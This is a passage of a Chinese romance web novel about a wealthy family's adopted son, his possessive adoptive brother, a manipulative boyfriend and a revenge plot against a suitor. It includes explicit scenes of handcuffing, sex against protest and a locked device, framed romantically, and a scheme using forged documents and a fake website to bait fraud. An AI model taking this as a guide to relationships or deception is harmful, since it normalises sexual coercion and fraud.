谢呈冰果不其然忽视了秦霄的请求,秦霄本来也是随口一问,现下不甚在意地耸耸肩:“好吧,谢少还是没变,可怕的弟控,你这种生物我真是不能理解。” 红灯到了,谢呈冰冷着脸摇上了车窗,而秦霄笑着冲他摆摆手,油门一踩,扬长而去。 回到谢宅时,谢呈冰要把谢清抱出来,被谢清打猫拳一样锤开了:“你疯了是不是?不怕让爷爷看到吗!” 谢呈冰眼睛在他打颤的双腿上扫过:“可你走不动了。” “闭嘴!是谁害的?”谢清眼尾像抹了胭脂一样红,“你先进去,给我拿衣服出来,就说我摔泥坑里了。” 谢呈冰这会儿终于不是头倔驴了,点点头进了谢宅。 他在医院和谢老爷子的说辞是,谢清有点事先走了。白年当然不信,一眼看穿他在使绊子,可当着谢老爷子的面不好发作,只能含沙射影地警告谢呈冰。 这会儿谢呈冰一回家,老爷子就一脸不悦地问:“小清呢?白年那孩子说怎么也联系不上他,你说,是不是叫你给藏起来了!” 谢呈冰环顾了一圈家里。 老爷子:“别看了!人不在,我说让那孩子在家等,他担心小清,出去找去了。” 谢呈冰这才说:“谢清去办个事而已,我已经把人接回来了。爷爷,谢清有自己的生活,哪有谈个恋爱就寸步不离的,他们两个长久不了。” “那也用不着你操心。”谢老爷子说着就要去门口看看谢清,“不是接回来了吗,人呢?” 谢呈冰:“在车上睡着了,我去给他拿件衣服,爷爷别看了,有话明天再交代吧。” “大白天的睡觉?”谢老爷子蹙眉,“那也别在车上睡呀。” “嗯,我一会儿把他抱进卧室,爷爷也去休息吧,上午被折腾去医院您也累了。对了,白年让谁来请您的,怎么说的?” 谢老爷子不傻,眉梢一吊:“关你什么事了?爷爷再警告你一次,别对你弟的男朋友那么大敌意,不像话。” “很快就不是男朋友了。”谢呈冰低声说。 “什么?” “没什么,爷爷,快去休息吧。” 谢老爷子:“不急,等下家里有客人要来,你回来的很及时,一会儿好好接待人家。” 谢呈冰:“谁?” “还有谁?林家小姑娘啊!我昨夜没来得及问小清,你的相亲到底怎么样,这不,林老头就给我打电话说要登门拜访,”谢老爷子笑着用食指隔空点大孙子,“你小子,不许弟弟谈恋爱,自己倒进展迅速嘛。” 谢呈冰眉头紧锁:“我昨晚已经和她达成一致,我和她不合适。” “什么?”谢老爷子脸一板,“少胡说八道!那他们登门来干嘛?总不能是林闺女看上你弟弟了吧!” 话音刚落,门口的保镖就打进座机来汇报,说林家人到了。 昨天林小姐压根没见到谢清,可谢呈冰闻言还是立即折身:“我这就再和她说清楚一次。” “站住!你怎么越来越没规矩了?”谢老爷子,“人都来了,先请进来好好招待!” 谢呈冰脚步一顿:“谢清还在门口,我去接他进来。” 谢清在车里左等右等,谢呈冰半天都不出来。他一边担心是不是爷爷应付不过去,一边又想,谢呈冰挨骂才好,狠狠骂他! 过了一会,车门终于敲响,谢清一打开,刚要抱怨怎么这么慢,蓦地和车门前的人来了个彼此都震惊的对视。 “砰”一声,谢清迅速又把车门拉了回去。 林徴柔在外面结结巴巴:“你你你你听我解释我什么也没看到!” “林小姐。” 谢呈冰远远唤了一声,快步赶了过来,把她从车前隔开。 “林小姐,车里是我弟弟,他睡着了,我安顿一下,你先里面请。” 谢清真希望自己是睡着了。 他干脆顺着谢呈冰的话假装闭上眼睛,掩耳盗铃。谢呈冰重新打开车门,用毯子把他裹着抱出来,谢清借着假寐翻身的动作故意呼了谢呈冰一巴掌,伤害不高侮辱性极强,谢呈冰倒也没生气。 林徴柔在边上看的大气不敢出。 相亲那天她以为谢呈冰是什么冷面阎罗,万分不近人情,没想到在这个尴尬的档口无意窥见他的一丝温柔流露。 谢氏兄弟看来也不是传闻中的勾心斗角啊。 谢清的分量很轻,谢呈冰抱他在怀中感觉轻若无物:“太瘦了,要多吃一点。” 谢清睁眼要回嘴,突然想起来边上还有人,赶紧眼一闭继续装死。 进谢宅时,谢清听见爷爷窸窸窣窣站起来的动静:“怎么在车上睡个觉还脱衣服了?” 谢老爷子只看见谢清从毯子里裸露出的双腿,赤着脚,幸好他老人家眼神不好,没看清那双腿上的星星点点。 谢清闻言身子都绷紧了,眼皮下,眼珠紧张的动来动去,连装睡都不会装。 谢呈冰把他抱回卧室,他才敢睁开眼,瞪着罪魁祸首:“你千万别在爷爷面前瞎胡说。” “知道了。”谢呈冰竟然从抽屉里拿出了手铐,要将谢清铐在床头。 谢清难以置信:“谢呈冰!!我跟你回来不是让你这么犯病的!” “一会儿就好,送走林家的人,我就上来给你解开。”谢呈冰摸摸谢清的脸。 谢清又一次绝望地眼前发黑,现在谢呈冰对他掏出什么他都不该意外了。 他呼吸剧烈起伏了几次,努力维持声音里的平静:“等一下,我要去洗澡,你这样铐着我怎么洗?” “等我回来帮你洗。” “我……那我要上厕所总行了吧,松开,快点,急。” 谢呈冰作势要重新抱起他:“我现在带你去。” “我不!!”谢清怕再闹一会儿,爷爷上来看见,再次深呼吸。 “我要听听你和林小姐说什么,昨天不是都说清楚了吗?今天他们家怎么来了?你答应了爷爷要结婚是不是?” 这一招果然灵,谢呈冰表情立即有了波动:“不是,我没有,我只和你结婚,随时都能结。” “那你心虚什么?还把我铐起来,有什么不能让我听见吗?” 谢呈冰给他解开了:“我这就下楼和林家说清楚。” 谢清还真挺好奇林家是来干嘛的,躲在楼梯口偷偷听了一会儿。 原来是林小姐昨天出去“鬼混”被家里人逮个正着,一盘问,问出了没有认真相亲的事实,林老爷怕得罪了谢家,带着女儿登门道歉来了。 林小姐跟只鹌鹑似的缩在林父身边,林父让她道歉,她就道歉,但一说亲事,她和谢呈冰就都异口同声:“不了,不合适。” 谢清可真怕谢呈冰嘴上没把门,说出惊世骇俗的话来。心都提到了嗓子眼,好在谢呈冰人前体面,客客气气把责任揽到自己身上,没有多说什么。 林父此行除了致歉,其实还有个目的,就是想和谢呈冰聊合作,他一切入正题,林徵柔就在边上如坐针毡,百无聊赖,找了个借口借用洗手间起身开溜。 她走出去几步,听见谢呈冰提起了秦家。 “听闻秦少有意和林小姐联姻,如果是这样,林先生何必找谢氏合作,秦少的新项目似乎也……” 林父满头大汗:“哎哟,谢少可别误会,我们家和秦家并没有往来,那秦霄也不知道抽什么风,突然上门提亲……” 林徵柔一激动,插嘴:“我和秦霄绝无可能!” 林父皱眉:“去去,少说两句!” 林徵柔气呼呼跑出去了。 谢清也悄无声息地下了楼,在后院找到了踢石头的林徵柔。 “林小姐。” 林徵柔转过身,认出谢清就是谢呈冰从车上抱出去的弟弟,两人都想起了谢宅门口的事,神色有些尴尬。 “你是谢清?怎么啦,是我爸叫我了吗。我这就回去了。” “没有没有,是我找你。”谢清说,“我刚刚听见你们在客厅说,秦霄向你提亲?” “是啊,怎么了?” “你和他有交集吗?” “当然没有!面都没见过!不过我早有耳闻他秦公子大名,不是一般人嘛,反正林家高攀不起。”林徵柔似褒实贬,语气十分不屑。 谢清握了握她的手:“英雄所见略同,他就是个黑心资本家!配不上你。” 他措辞着怎么和林徵柔说出实情,为盗用她身份的事道歉。说起来,宋岩能搞来邀请函,林徵柔也没去订婚宴,可见还是知情的吧? 林徵柔却像打开了吐槽开关:“是啊!你也觉得吧?秦霄真不是个好东西,之前我妹妹瞎了眼喜欢上他,结果被他搞得心碎一地,现在他居然还好意思和我这个当姐姐的提亲,而且全然忘了我妹妹的事!你说他是不是人渣?” 谢清:“有这种事?人渣!” 林徵柔:“可恨!” 谢清:“对,可恨!” 林徵柔:“这回提亲绝对是他在动什么歪脑筋,要么算计我们林家,要么算计我,我才不上当。” 谢清眼珠一转,忽然想到一个绝妙的主意。 “林小姐,你这么讨厌他,就不想小小报复他一下吗?” “当然想啊,他践踏我妹妹的感情,我早就想报复他了!可我又有什么好办法?我自己的婚姻都快做不了主了。我们家的产业现在岌岌可危,要是再找不到合适的联姻对象,我爸说不定真会把我嫁给秦霄。” “林家的危机,我也有听说一点。所以你们想融资我哥的那个新项目?其实我手上有个不错的项目,没准能帮你们度过危机呢。” “你?”林徵柔显然很怀疑,圈子说大不小的,她当然也知道谢清的名声,谢氏养子,无权无实。 “那这和报复秦霄又有什么关系?” 谢清讪笑:“其实呢……他找你提亲的事我可能有一定责任,我说出来你千万别怪我。” 林徵柔奇了:“你有责任?为什么?你先说来听听。” 谢清:“秦屿订婚宴那天,你的邀请函去了哪儿你知道吗?” “我挂二手平台卖了啊。”她随口说道,随即像意识到了什么,蓦然睁大了眼睛,“你你你你别告诉我你……” “你买了?” 谢清:“我用了。” 林徵柔:“……?!” “等会,你等会。”林徵柔捂着脑门思考了半天,“我说秦霄给我们家寄过来一双礼服手套干嘛呢,我都说了不是我的退了回去,他还不信!” 谢清见她逐渐意识到了,点点头,稍显尴尬:“是我的。” “你你你你……你在秦屿的订婚宴上勾搭秦霄?!你不是和秦屿有一腿吗?不是,我的意思是,听说你和秦屿浓情蜜意……” “这不是重点吧。” 林徵柔沉默了一会儿,重新打量谢清:“原来秦家兄弟都喜欢你这款的,哎,但你别说,你穿女装应该挺好看的,你皮肤白哦不是我意思是我什么也没看见。” 谢清:“……” 谢清:“重点是,要报复一个人,信息量很重要。谁能抢占先机,谁就更有优势。” 林徵柔:“所以你给我提供这个先机,想换取什么呢?林家融资你的项目?” “不,我想让你帮我找个律师,一定要靠谱的,嘴严的。” “哦?” “实话告诉你,我现在身上有点麻烦,不能让我哥和其他人知道的麻烦。” 林徵柔想了一会儿,问:“那你为什么相信我?” 谢清笑笑:“我和你处境一样,是个想报复感情欺诈贩的可怜人呢。复仇者,当然要和复仇者结盟啦。” 林徵柔也饶有兴趣地笑起来:“二少是性情中人。我还有点好奇是谁骗了你的感情啊?” “叫我谢清就行了,那个人你不认识,不用知道。怎么样,我们的合作达成了?” “律师交给我吧。现在,我需要知道订婚宴上的更多细节。” “没问题。” 第36章 第 36 章 林徵柔找来的律师非常靠谱。 谢清给他看了自己之前签的那个合同, 律师先把他数落了一顿:“这种明显的坑你也踩,你是清澈愚蠢的大学生吗?” 谢清:“……”对不起大学生,拉低你们平均智商了。 律师琢磨了一阵, 告诉他:“合同内容确实是存在一些漏洞,如果你以未履行合同内容提起诉讼, 胜率很小,我查了, 对方是个新注册的海外公司, 反手注销了的话, 你拿他们一点办法也没有。” 谢清的关注点却在:“那个公司法人是姓白吗?” “不是。”律师说,“不过实际控股人是一个叫白年的华人。” 谢清冷笑。 “你就这点本事的话, 林徵柔应该不会把你介绍给我吧?你还有什么没说完的一起说了吧。” 律师:“好吧,其实我有一个办法, 他们不是问你要违约金吗,而且是一笔巨款,你就把这笔钱打到他们账户上, 然后以财物诈骗起诉, 我能保证扳倒对方。” 谢清:“你也说了是巨款……” 他要是有那个钱,现在还会受制于人? 律师:“那别的我也没招了。” 谢清想了想:“我又没说办不到。” 鱼饵有的是,就看大鱼敢不敢咬钩了。 正好Phantom给他发来了消息:【亲爱的合伙人,咱们的项目现在是什么说法, 要流产了吗?】 谢清:【谁说的?你放心, 我拉到了新的赞助。至于赔钱的窟窿嘛, 很快也能填上的, 不过我需要你帮我一个忙。】 他把要求给phantom说了。 Phantom:【啊?你要我弄个假官网?这个……】 谢清:【你不是号称技术宅嘛?这点困难就难倒你啦?】 phantom:【得加钱。】 谢·穷光蛋·清噼里啪啦打下了一串豪言:【能用钱解决的, 都不是事。】 之后谢清翻着聊天记录思索着,翻了半天没找到白年, 才想起来昨天好像把他拉黑了,于是又把他从黑名单里放了出来。 刚要发消息联络他,卧室的房门被人拿钥匙打开,谢呈冰走了进来。 谢清不快:“谁准你进来的?” 谢呈冰:“今天怎么醒这么早?下来吃早饭吗。” 他直接走到床边来抱住了谢清,先试探了一下他额头温度,没有生病发烧,接着手就钻进了睡衣里。 “谢呈冰!我喊爷爷了!”谢清怒道。 “喊吧。”谢呈冰说,“我不会主动刺激爷爷,但如果被他发现了,我不会隐瞒。” “你……!” 谢老爷子本来是谢清想方设法请回来给自己撑腰的,现在倒成了谢呈冰拿来掣肘他的武器。 谢清脸上青一阵红一阵:“在我分手之前,你现在这个行为就叫插足,谢呈冰你要脸吗?” 谢呈冰:“插足的是白年,你本来就是我的。” 谢清被他揉的很快脸色通红,手机也摔到床上,然后被谢呈冰扫到地毯上。“大清早的,你别乱来……” “没有乱来。”谢呈冰边吻他的身体边拽掉了谢清的睡裤,“我检查一下,消肿了没有。” 地毯上的手机突然响了起来。两个人同时瞥过去,看见来电显示是“白年”两个字。 谢呈冰脸一沉,一把将谢清伸出去的胳膊按回来。 谢清恨恨地剜他:“你说过让我每天和他见面的。他是我男朋友,爷爷也认可。” 谢呈冰停顿了几秒,捞起手机就自己接起来。 “清清,你终于肯接我的电话了,你……” “诈骗电话现在都不这么开头了。”谢呈冰冷冷说。 白年声音一滞,随即暴怒:“谢呈冰,你为什么拿着他的手机?” “他在我怀里,你说为什么?” 谢呈冰检查的手指突然深入。 谢清尖声叫了出来,旋即猛地捂住嘴巴,恶狠狠瞪视谢呈冰。 白年怒火中烧:“谢呈冰你对他……” 谢呈冰滑断了电话。 谢清浑身颤抖,一半是气的一半是被他撩拨的:“你做什么刺激他,他万一捅到爷爷那儿怎么办!” 谢呈冰有一瞬的表情仿佛在说:这样正好。 “他不会。”最后他说,“他不是很听你话吗?” “拿出去!”谢清抖着嗓子说,“你也出去。” “然后呢,你要去哄他吗?”谢呈冰问,“用什么哄,上面这张嘴,还是下面这张?” 谢清扬手甩了他一个响亮的耳光。谢呈冰被打的脸侧过去,眼睫轻轻颤动,投下一片阴翳,他一动不动的静默了片晌,手指慢慢退出来。 谢清以为他终于知道廉耻怎么写,可下一秒,后面被抵上了另一个东西。 “谢呈冰……!你个杀千刀的,你……啊!” 谢清又想大骂,又怕动静惊动了爷爷:“门、卧室门……!” “已经锁了。”谢呈冰说。 谢清意识到他进门就做足了准备,简直七窍生烟,一口咬在谢呈冰的肩膀上。 “现在省点力气,不然还有精神去见白年吗?” 谢呈冰嘴上这么说,动作是半点没有要帮他省力的意思。 谢清眼睛一闭,泪水就被晃出来,凄零的模样谁看了都得心疼:“哥……” 谢呈冰动作一顿。 “哥,轻点,我受不了。” 谢呈冰慢下来了,神情也稍微缓和,轻抚谢清的后脑勺,像在哄一只小猫。 “谢清,”他哑声问,“你在想谁?” “还有、谁?我就一个哥。”谢清学乖了,知道这种时候要顺着谢呈冰来。事实上他也的确没在想谁,大脑被一波波感觉冲击,哪有功夫去想谁? 谢呈冰眉心化开了。 “欣欣。”他将谢清抱得更紧,“以后你也只有我一个男朋友,一个丈夫。早点跟他分手,知道了吗?” 头脑空白的瞬间,谢清产生了一个荒唐的想法。 哥哥换了一个身份待在他身边,如果一切还是从前那样,是不是也……没什么不同? 但他很快被自己这个想法吓到,低头又狠狠咬住了谢呈冰。 “知道了吗?”谢呈冰非要他给出答复不可。 “知、知……了……” 谢清断断续续给出了令他满意的回答。 谢清深刻意识到他和哥哥在做什么,有些悲戚地想,养父的在天之灵,会不会恨死他啊? 但事情走到这个地步,也不能怪他吧? 谢呈冰这样,还有救吗? 谢呈冰因为还要上班,没有折腾谢清太久。 尤其谢老爷子爬上二楼“咚咚”敲门问:“小清啊,看见你哥了吗?这小子自以为身为老板上班就能随便迟到了吗!” 吓得谢清一声不吭装没醒。 过了会儿,才推着谢呈冰赶紧滚出去。 谢呈冰在他身体里塞了东西,带锁的:“记住,只可以去见他半小时,给爷爷做做样子足够了,多一分钟都不可以。” 谢清在他身后无声咒骂。 等人走后,他才慢吞吞给白年回电话。 白年接通以后没有出声,似乎在怀疑手机这端的人究竟是谁。 直到谢清“喂”了一声,他才倏然卸下防备:“清清,你怎么样?他,他有没有为难你?” “你说呢?”谢清沙哑的嗓音说明了一切。 白年默然片刻,强忍着问:“我想见你一面,可以吗?” 谢清嗤笑:“怎么不可以?你不是我男朋友吗?” 白年没吭声。 谢清调整了一下语气:“年年哥哥,来我家吧。我走不动,对了,你会开锁吗?” “开锁?你被锁到屋子里了吗?谢爷爷呢,他不在家吗,还有你家的保镖?” “你来了就知道了呀。” 白年本就在谢宅附近,挂了电话当即登门。 谢老爷子见是他,笑的很慈祥:“来找小清啊?那臭小子还在睡懒觉呢,你去叫醒他吧。” 白年十分乖巧:“好,谢谢爷爷。” 进了谢清卧室,他嗅到了空气中弥漫着一丝不易捕捉的味道,脸色有些苍白。 谢清冲他微笑:“年年哥哥,你来啦?” 白年:“清清,你……不怪我了?” “怎么不怪。”谢清把脸一板,“来的这么慢。” 白年紧绷的弦稍稍放松,走近了一点,坐在了谢清床边:“我恨不得长了翅膀呢。” 他尝试去勾谢清的手,谢清没拒绝。 “你说的锁是怎么回事?” 谢清带着他的手往下:“这里呀。” 白年脸色变得五彩缤纷。 谢清的笑容里充满恶意:“怎么了年年哥哥,你很介意吗?” 白年:“……我帮你拿出来,你等等,我找找工具。” 他蹲了下去,谢清却抬起他的脸:“怎么不正面回答我呢,很难回答?” 白年眼底嫉妒与愤恨交织:“我会让他付出代价的。” 谢清欣赏了一会儿他的表情,轻笑:“代价?说起来我也没受伤,还爽到了。倒是你,才是实打实陷害了我的人呢。” 白年表情扭曲了一瞬:“清清,我只是太想和你在一起了,我爱你,只要你待在我身边别离开我,我怎么会害你呢?” “爱我,有多爱我?” “只要你一句话,我可以为你杀了谢呈冰。” 谢清笑容敛去了,不耐烦地将他从身下踹开:“我说了,害我的是你不是他。你这么有勇气,怎么不杀了你自己?” “清清……”白年握住他的小腿,从地上起来,膝盖压到了床上,谢清瞪向他,却愕然发现他眸子里闪烁着某种阴戾,像一头癫狂的野兽。 “你如果不相信,我也可以为你去死。” 谢清眉头紧锁,有些不认识白年了。 他怀疑要是自己真脱口说出“那你去死吧”,白年就会干出疯狂的事情来。 他在谢呈冰冲上来徒手夺剪刀的时候见过类似的眼神。 一个两个,都是疯子! 谢清转开了脑袋:“谁要你的命了?不过别怪我没提醒你,我从小就是睚眦必报的性格。” “没关系,你是我的就行了。” 该说的说尽了,谢清笑了笑,重新转回来时已经神色温柔,他搂住白年的脖颈:“那你可别告诉连叔叔合同我已经知道的事,我怕他对我家动手。” 白年顺势把手搭在了他的腰上:“我不会让他对你动手。至于谢氏,反正你连个头衔都没有,怕什么呢?” “你不是想让我和谢呈冰争吗?” 白年眼前一亮:“你肯了?” 谢清凑近了他的脸庞,吐气如兰:“哼,反正你别告诉连叔叔,他出手就不好看了。” 白年垂眸目不转睛地看着他:“好,都听你的。” 接着白年把谢清放倒在床上,去抽屉了翻了些趁手的工具,费了些功夫,还真把锁撬开了。 他看到谢清肿起来的地方,眸中阴云密布。 谢清钻进了被子里,伸手一推白年:“好了,东西取出来了,你走吧。” 白年一愣:“可是清清……” “乖,不是说都听我的?明天再见吧。” 谢清翻身背对着他闭上了眼睛。 白年在原地静默了会儿,盯着他的后脑勺缓缓退到门口:“那……记得想我。” 白年一走,谢清就慢悠悠坐起来,拾起手机拨出了一个号码。滴了几声后屏幕闪烁,那头的人接起来,含笑问好。 “怎么想起给连叔叔打电话了?” 谢清吸了吸鼻子,声音特别委屈:“连叔叔,你之前说的话,还算数吗?” “哦?什么话?” “连叔叔……” 连隐听够了电话那头的撒娇,才不疾不徐笑道:“好啦,叔叔说会帮你,现在当然也作数了。不过我听说,谢老爷子已经回谢宅了,怎么,你爷爷不能帮你吗?” “爷爷当然也是疼我的。”谢清说,“我说想参与公司项目,爷爷答应了,但条件是我要和谢呈冰对赌。” “哦?”连隐明显起了兴致。 谢清嘴角一勾,眼底闪烁着促狭的光。声音还是一致的可怜,告诉连隐自己手上的项目投放市场需要一笔金额,贿赂公司股东也要钱,总之处处都要钱。 “连叔叔,我没有人可以借钱了,又怕被我哥察觉到,你帮帮我好不好呀?” 连隐思忖:“你的项目,我总得了解一下吧。” “当然了连叔叔,我这就把资料发给你。不过这可都是机密中的机密,你千万不要透露出去哦。” 谢清把phantom伪造好的资料打包发给了连隐。 最好的伪装往往都是真假参半的,他并没有凭空捏造一个项目,只是让Phantom把他们的套假皮包装了一下,毕竟连隐早就知道他手上有生意,不过他一直捂得很紧。 现在这生意表面看是谢氏融资,实际上只有谢清私人控股。 这对连隐来说想必是个巨大的诱惑,他只要假意支持谢清,等产品上市就利用那个地雷合同毁掉谢清的心血,背后融资的谢氏也会受到牵连,身败名裂,人财两空。 谢清想不到连隐不支持他的理由。 果然,连隐的声音提升了一个愉悦度:“连叔叔会好好考虑的。” 谢清:“那您动作可得快点啊,我怕晚了我哥就会抢占先机了。” “要多少钱?” 谢清报了个数。连隐笑:“小家伙还真是狮子大开口啊。” 谢清:“连叔叔,你也知道,我这次是破釜沉舟,堵上一切了……你一定要帮我啊!” 电话挂掉,谢清对着屏幕上的那串号码发出冷笑。 不一会儿,林徵柔给他发来了微信。 【我加上秦霄了,教教我怎么钓他啊。】 谢清:【?】 林徵柔:【?什么?,我哪有你擅长这种事。】 谢清:【??】 林徵柔:【快点,他问我在干嘛】 谢清不紧不慢地打字:【你说在想他】 林徵柔问:【他是谁?】 谢清:【??废话,你说呢。】 一分钟后林徵柔:【他说他伤心?】 谢清直呼好家伙,没看出来秦霄你个浓眉大眼的也走黛玉风?他让林徵柔安慰安慰对方。 林徵柔:【怎么安慰?】 谢清:【随便啦,我编不出来。】 林徵柔:【他说我有趣。】 这什么霸总台词?谢清:【他还是这么土味。】 又过了几分钟,林徵柔慌张赶来:【糟糕,我好像把天聊死了。】 谢清纳闷,怎么会?刚才不还有趣吗?他问林徵柔要聊天记录,林徵柔转发了过来。 [林小姐在做什么?] [在想他] [哦?他是?] [废话,你说呢。] [呵呵,林小姐不会还在惦记我弟弟吧,你加我,难道也是为了打听他的消息?那我可要伤心了。] [别伤心,你也有优点。] [比如?] [编不出来。] [……林小姐说话还是这么有趣。] [你还是这么土味。] [……] 谢清:“………………” 林徵柔:【哎呀,他问我要不要date一下增进了解。】 谢清:【晾着他!就说你有事。】 林徵柔:【可我已经答应了。】 谢清对着手机大喊:“林徵柔!!” 林徵柔:【他说明天来我家门口接我,你不要迟到啊,要不要我帮你准备女装?】 谢清:【?!?】 林徵柔:【干嘛,当然是你去见他了,不然不就露馅了吗?就这么说定了啊,明天早点来我家。】 要不是谢清腿软,他现在就能跳下床打一套军体拳。 他一上午都待在卧室里,怕被爷爷念叨,打算收拾收拾下楼。才换好衣服,就听到走廊有动静,以为是谢老爷子,拉开门,却瞧见谢呈冰西装革履地赶回来。 谢清身体一僵:“你回来干什么?” 谢呈冰越过他进了卧室,确认房间里只有他一个人,才平静下来:“怕你离家出走,回来看看你。” “你才去上班多久就跑回来?爷爷看见你没骂你吗?” “我说忘带文件了。” 谢呈冰走上来抱住谢清,成瘾一样的埋在他发间吸了一口:“你不在我身边,我心神不宁。” “有病就去看。”谢清挣开他。 “见过白年了?”谢呈冰问。 “是啊,小别胜新婚呢。”谢清故意气他。 谢呈冰眼眸一暗,扣住他的后脑勺就亲上来。 谢老爷子的声音忽然从走廊穿过来:“小冰?不是忘带文件了嘛,怎么在你弟弟卧室聊起来了。” 谢清惊恐地别开脸,整个心提到了嗓子眼,还没来得及和谢呈冰拉开距离,老爷子已经走到了卧室门口。 “哟,这是在干什么?小清,多大了还和哥哥撒娇呢?” 谢老爷子只看到两兄弟搂在一起,感情很好的样子。 谢清眼眶微红,期期艾艾道:“不、不是,爷爷,眼睛里进东西了,叫我哥帮我吹一下。” 谢呈冰当着老爷子的面用手拂过谢清的眼角,又在他脸颊上流连了一下,才缓缓松开手。 一松开,谢清就做贼心虚地退开了。 谢老爷子说:“你们俩帮我找下我老花镜哪儿去了,早上还在阳台上用过呢,这会儿怎么找也找不见了。” 谢清连忙走出卧室:“好,我帮爷爷找。” 谢呈冰跟着他屁股后头走出来,被他瞪了一眼:“你去别的地方找!” 谢呈冰于是折返回谢清的卧室,四处找了找,拿起了谢清的手机。 锁屏密码按照过往输入了他们两个的生日组合,这次却提示错误。谢呈冰对着屏幕怔了会儿,改输谢清的生日,这次解开了。 谢清已经开始定期清理聊天记录,查不到什么。他正要放下,弹进来一条白年发来的消息。 【我找到了一张小时候你亲我的照片,想看吗?】 谢呈冰握手机的力度加重了一些,回给他一个【滚】字。然后把记录删掉了。 找到谢清的时候,谢清正在阳台找眼镜,他弯腰在小桌子底下查看,臀部被勒出饱满的形状。 谢呈冰走过去按了一下,谢清像炸毛小猫一样跳了起来捂住后面,眼神激愤,又不敢大声:“你干嘛!” 谢呈冰回头看了眼,贴上来搂他,用身体将门口的视角挡住:“现在怎么动不动就不高兴?” “你说为什么?!”谢清惊叹于对方的厚颜无耻,死死防守着裤腰,“别摸了……你有皮肤饥渴症啊?!” 谢呈冰认真回答:“不是的,我只对你这样。” “被你这么正经八百的宣布只对我性骚扰,真是高兴不起来。” “谢清,就给我抱一会儿。” “不行!一会儿又叫爷爷看到了……” “爷爷会以为我们感情好。” “你这么骗他老人家良心过的去吗!” “我们感情不好吗?”谢呈冰闻言觉得抱抱还不够,最好再亲几下,于是捧起了谢清的脸。谢清一抬膝盖,猛顶谢呈冰的关键部位,竟然还被躲开了。 执着又危险的吻对着他的嘴唇落下来:“你小时候不也常常亲我吗?” 谢清难以置信:“这能相提并论吗?!我怎么亲的,你现在……唔……怎么亲的?!再说哪有常常!” “你小时候是不是也经常乱亲别人?” “你把我当什么了?”谢清悲愤交加。接吻狂魔是他谢呈冰才对?! “没亲过别人?” “才没有!!” 谢呈冰点点头:“好,你最好没骗我。如果被我发现你说谎,我就把你手脚锁起来,上面下面一起堵住。” “爷爷来了……!”谢清惊恐地看向后面。 谢呈冰手一松,状若寻常地回头,但身后空空荡荡,谢清已经趁机脱身跑出了阳台。 第37章 第 37 章 林徵柔给谢清发了她家的地址, 从一大早就偷偷摸摸蹲守在花坛边。 她怕谢清不靠谱,秦霄到了他还不到,不停给对方发催促的短信。 谢清穿了身多巴胺甜美风的格子短裙, 一路上一直有点后悔,觉得裙子太短了什么也遮不住, 不停前后检查。 要不是其他衣服尺码不合适,他也不会挑中这件。 他老远就看见林徵柔鬼鬼祟祟的, 跟做贼一样, 都走到对方五米范围内了, 她居然还没认出来,甚至还给谢清让道。 谢清无语:“你眉毛下面两个圆圆的是装饰吗?” 林徵柔一听见他开口, 登时眼睛瞪得更圆了:“谢清?!” “小点声。”谢清别扭地四处看了看,虽然周遭根本没什么人, 他还是不想顶着这身装扮被叫大名。 林徵柔已经掏出手机咔嚓咔嚓连拍了好几张,并为他竖起拇指:“牛。” 谢清:“你没再和他多说什么不该说的吧。” “没有没有,我听你的, 一个字都没说。” 过了一会儿秦霄的车到了, 林徵柔推着谢清:“快去快去,加油拿下渣男!我看好你!” 谢清翻着白眼走了过去,秦霄下车为他开门,照面时眉眼俱笑:“林小姐, 今天也很美。” “谢谢。”谢清长腿一跨上了车, 坐下才发现短裙是真不方便, 手忙脚乱拽了拽裙边。 秦霄眼神不受控地跟随他的动作看了会儿腿, 意识到行为很不君子, 才慢慢转开目光。 “原以为蓝玫瑰和你最相称,今天一见, 发现什么花都配不上你。” 油腔滑调。谢清捏着嗓子假惺惺笑了笑:“蓝玫瑰我很喜欢。” 车子启动,秦霄开门见山:“听说林小姐和谢呈冰的相亲不是很顺利?你现在决定考虑我了吗?” 谢清矜持的微笑:“其实比起利益交换,我这个人更看重精神层面的交流。” “嗯,从你看上秦屿就能看出来,那小子身上也没什么利益。不过,人终究是要考虑现实的不是吗?嫁给我你不会吃亏。” 秦霄偏头看了谢清一眼,不禁也微笑:“而且,我想我们会聊得来。” “只是聊得来,就足以谈婚论嫁了吗?会不会太快了呀。” “如果林小姐想走一下恋爱的程序,我也不反对。我们现在不就是在约会?”秦霄说,“不过我认为,恋爱只是生物繁衍的手段之一,说是错觉也可以。” 谢清侧头假装看窗外,实则翻了个大大的白眼。 “我不觉得哦,恋爱就是恋爱。” 秦霄耸耸肩:“那我们就交往好了。林小姐是考虑和我联姻的,你不否认吧?” 谢清掩嘴笑了笑。 他和林徵柔一同调查过,秦霄并不是同性恋,甚至秦屿和男人在一起时,他是很厌恶的。 如果让他知道自己追求交往的对象是男人,不知道他会露出怎样的表情? 林徵柔说了,让谢清好好钓他几天,留存一些交往证据,最好再答应求婚,让他费尽心力去筹备一场婚礼,然后婚礼前夕,给他献上surprise,就堪称以其人之道还治其人之身的报复了。 要践踏一个渣男的感情可不是那么容易,但恶心渣男一下,让他感到被欺骗被戏耍的愤怒,还是很容易的。 谢清:“好啊,交往吧。” 秦霄选择的约会地点居然在他的公司。 他带谢清逛了一圈,公司员工见到老板带了女伴,都十分惊奇,即使隔着很远谢清也注意到他们在议论。 “怎么了,不舒服吗?”秦霄碰了碰他的额头。 谢清摇摇头:“没事。”只是穿成这样,不喜欢被人注视。 秦霄心领神会,带着他去了会议室,还转身嘱咐助理:“别让人进来打扰。” 助理不假思索的领命走人。 谢清:“你这么说,不担心下属误会啊?” “误会什么?” 只剩下他们两个,谢清总算自在了,胆子也大起来,走到秦霄身边,还把手搭在了他肩膀上:“误会我们要做什么见不得人的事啊。” “我从不在公司做无意义的事。” 秦霄笑着打开了投影仪:“我想向林小姐展示一下我的诚意。” 谢清皱眉看着投屏缓缓降下,心中升起一股不妙的预感。 接下来的二十分钟,谢清恨不得没踏进过会议室。 秦霄居然给他展示了一份策划书,是关于秦家和林家如何联手共创业绩的雏形项目。 那个好人家约会是参观公司,阐述自己的商业蓝图? 谢清:“你别告诉我,从林……从我加上你以后,你就花了一晚上做出了这个?” 秦霄:“思考这些令人快乐,你不觉得吗?我很期待我们两家能合作。” 他朝谢清走了过来,拉起他的手:“也很期待你嫁给我。” 谢清:“你不会是在求婚吧?” 秦霄一怔,随即失笑:“你看我,求婚这事,还是得正式一点的对吧?不如我们现在先去挑婚戒?” “可听你讲了这么久,我都累了。改天再挑也不迟嘛。” “我是个讲求效率的人。” 谢清盯了他一会儿,突然起身把他按在椅子上,然后跨坐在了他腿上。 “恋爱是最不需要效率的事,知道吗?” 